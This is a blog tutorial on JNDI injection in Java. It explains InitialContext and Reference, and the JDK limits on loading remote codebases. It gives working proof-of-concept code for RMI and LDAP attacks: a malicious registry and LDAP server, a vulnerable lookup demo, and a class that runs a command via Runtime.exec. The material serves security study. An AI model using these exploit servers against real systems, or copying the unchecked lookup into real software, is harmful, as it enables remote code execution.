JNDI Injection for Java

JNDI Injection for Java

About JNDI

Introduction to 0x01

JNDI(Java Naming and Directory Interface) is a standard Java naming system interface provided by SUN. JNDI provides a unified client API. Through the implementation of different access provider interfaces JNDI Service Provider Interface (SPI), the JNDI API is mapped by the administrator to a specific naming service and directory system. This allows Java applications to interact with these named services and directory services. Directory services are a natural extension of named services. API applications that call JNDI can locate resources and other program objects. JNDI is an important part of Java EE. It should be noted that it does not only contain DataSource(JDBC data source). Existing directories and services accessible by JNDI are DNS, XNam, Novell directory service, LDAP(Lightweight Directory Access Protocol Lightweight Directory Access Protocol), CORBA object service, file system, Windows XP/2000/NT/Me/9x registry, RMI, DSML v1&v2, and NIS.

Uses of 0x02 JNDI

JNDI(Java Naming and Directory Interface) is an application design API that provides developers with a common and unified interface for finding and accessing various naming and directory services, similar to JDBC, which is built on an abstraction layer. JNDI is now one of the standards for J2EE, and all J2EE containers must provide a service for JNDI.

0x03 Daily Use

In fact, simply looking at the introduction feels like JNDI is similar to Registry in RMI in that it binds one of the named services to the corresponding object, and when you need to call a method in this object, look for the corresponding object by taking the specified name as a parameter into lookup. For example, it is often used in development to load database configuration files for dynamic loading without frequently modifying the code.

RMI and LDAP are common when using JNDI injection attacks. There are also some restrictions on the use of these two protocols, which will be mentioned later in this article.

0x04 JNDI Naming and Directory Service

Naming Service Naming Service:

Naming services associate names with objects and provide operations for finding objects by name, such as: the DNS system associates computer names with IP addresses, the file system associates file names with file handles, and so on.

Directory Service Directory Service:

A directory service is an extension of a naming service that allows objects to have attributes in addition to providing an association of names and objects. Objects in a directory service are called directory objects. Directory services provide operations such as creating, adding, deleting directory objects, and modifying directory object properties.

Reference reference:

In some named service systems, the system does not store objects directly in the system, but keeps references to them. References contain information about how to access the actual object.

This point is also used a lot, which will be described in more detail below.

Pre-knowledge

A summary of some common classes and methods, copy self nice_0e3 Master Articles

InitialContext class

Construction method:

InitialContext() 
Build an initial context.  
InitialContext(boolean lazy) 
Construct an initial context and choose not to initialize it.  
InitialContext(Hashtable<?,?> environment) 
Build the initial context using the provided environment. 
InitialContext initialContext = new InitialContext();

The explanation given in this JDK is to build the initial context, which in general is to get the initial directory environment.

Common methods:

bind(Name name, Object obj) 
	Bind name to object. 
list(String name) 
	Enumerates the names of the bindings in the naming context and the class names of the objects bound to them.
lookup(String name) 
	Retrieves named objects. 
rebind(String name, Object obj) 
	Bind name to object, overwriting any existing binding. 
unbind(String name) 
	Unbind named object. 

Reference class

It is also a class in javax.naming that represents a reference to objects found outside the naming/catalog system. Provides a reference function to classes in JNDI.

Construction method:

Reference(String className) 
	Name the class " className"Object constructs a new reference.  
Reference(String className, RefAddr addr) 
	Name the class " className"Construct a new reference to the object and address.  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
	Name the class " className"Construct a new reference to the object, the class name and location of the object factory, and the address of the object.  
Reference(String className, String factory, String factoryLocation) 
	Name the class " className"Construct a new reference to the object and the class name and location of the object factory.  

Code:

        String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

Parameter 1:className - Class name used for remote loading

Parameter 2:classFactory - The name of the instantiated class is required in the loaded class

Parameter 3:classFactoryLocation - The address that provides classes data can be the file/ftp/http protocol

Common methods:

void add(int posn, RefAddr addr) 
	Add Address to Index posn Address list.  
void add(RefAddr addr) 
	Adds an address to the end of the address list.  
void clear() 
	Remove all addresses from this reference.  
RefAddr get(int posn) 
	Retrieving Index posn Address on.  
RefAddr get(String addrType) 
	Retrieval address type is " addrType"First address.  
Enumeration<RefAddr> getAll() 
	Retrieve the list of addresses in this reference.  
String getClassName() 
	Retrieves the class name of the object referenced by the reference.  
String getFactoryClassLocation() 
	Retrieves the factory location of the object referenced by this reference.  
String getFactoryClassName() 
	Retrieves the class name of the factory for this reference object.    
Object remove(int posn) 
	Remove index from address list posn Address on.  
int size() 
	Retrieves the number of addresses in this reference.  
String toString() 
	Generate a string representation of this reference.  

JNDI Demo

Let's look at a piece of code, a demo that is vulnerable to JNDI injection

The url parameter in the lookup method invoked is mainly controllable, which may result in JNDI injection vulnerabilities.

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIDemo {
    
    public void Jndi(String url) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

JNDI+RMI Attack

Restrictions:

Referencing remote objects in RMI services will be restricted by the local Java environment, that is, the local java.rmi.server.useCodebaseOnly configuration must be false (allowing remote objects to be loaded), and if the value is true the reference to remote objects will be prohibited. In addition, the referenced ObjectFactory objects will be restricted by the com.sun.jndi.rmi.object.trustURLCodebase configuration if the value is false (Remote reference objects are not trusted) Remote reference objects cannot be invoked as well.

  1. JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121 Beginning java.rmi.server.useCodebaseOnly default configuration has been changed to true.
  2. The default values of JDK 6u132, JDK 7u122, JDK 8u113 start com.sun.jndi.rmi.object.trustURLCodebase have been changed to false.

Local test remote object references can allow remote reference objects to be loaded in the following ways:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://127.0.0.1:1099/ExportObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class JNDIExploitServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //Create Registry
        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:8080/";
        // Instantiate a Reference trying to construct a reference for a remote object
        Reference reference = new Reference("ExploitObject", "ExploitObject", url);
        // Strongly converted to ReferenceWrapper because Reference does not inherit the Remote interface and cannot be registered directly with Registry
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("ExportObject", referenceWrapper);
        System.out.println("Registry&Server Start ...");
        //Print Alias
        System.out.println("Registry List: " + Arrays.toString(registry.list()));
    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

Start a malicious JNDIExploitServer, then run JNDIServer. When the initialContext.lookup(url) method is called, the object referenceWrapper corresponding to ExportObject is found through the rmi protocol, and the reference Wrapper is a reference to the remote object ExploitObject, so it is ExploitObject that is ultimately instantiated to trigger static code block execution for any purpose of code execution.

During this period, we encountered several pits, record:

  • JDK limitation, test environment extends JDK7u17 when RMI is used

  • The best version of javac to use when compiling ExploitObject classes is the same version as the test environment in idea, which can be compiled by specifying a jdk version of javac through cmdl; And the generated class file does not have a package name (for example, package com.zh1z3ven.jndi), specifying the version of the javac compilation command:

    /Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java

JNDI+LDAP Attack

The limit here was before 8u191

Cop a piece of Server-side code for LDAP

LdapServer

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
        int port = 7777;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

JNDIServer2

public class JNDIServer2 {
    public static void main(String[] args) throws NamingException {
        String url = "ldap://127.0.0.1:7777/ExploitObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

Reference

How to bypass the limitations of high-release JDK s for JNDI injection utilization: https://paper.seebug.org/942/

javasec

https://www.cnblogs.com/nice0e3/p/13958047.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://paper.seebug.org/1091/#jndi

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1207/#ldap

Tags: Java

Posted on Tue, 09 Nov 2021 11:22:52 -0500 by GoNz0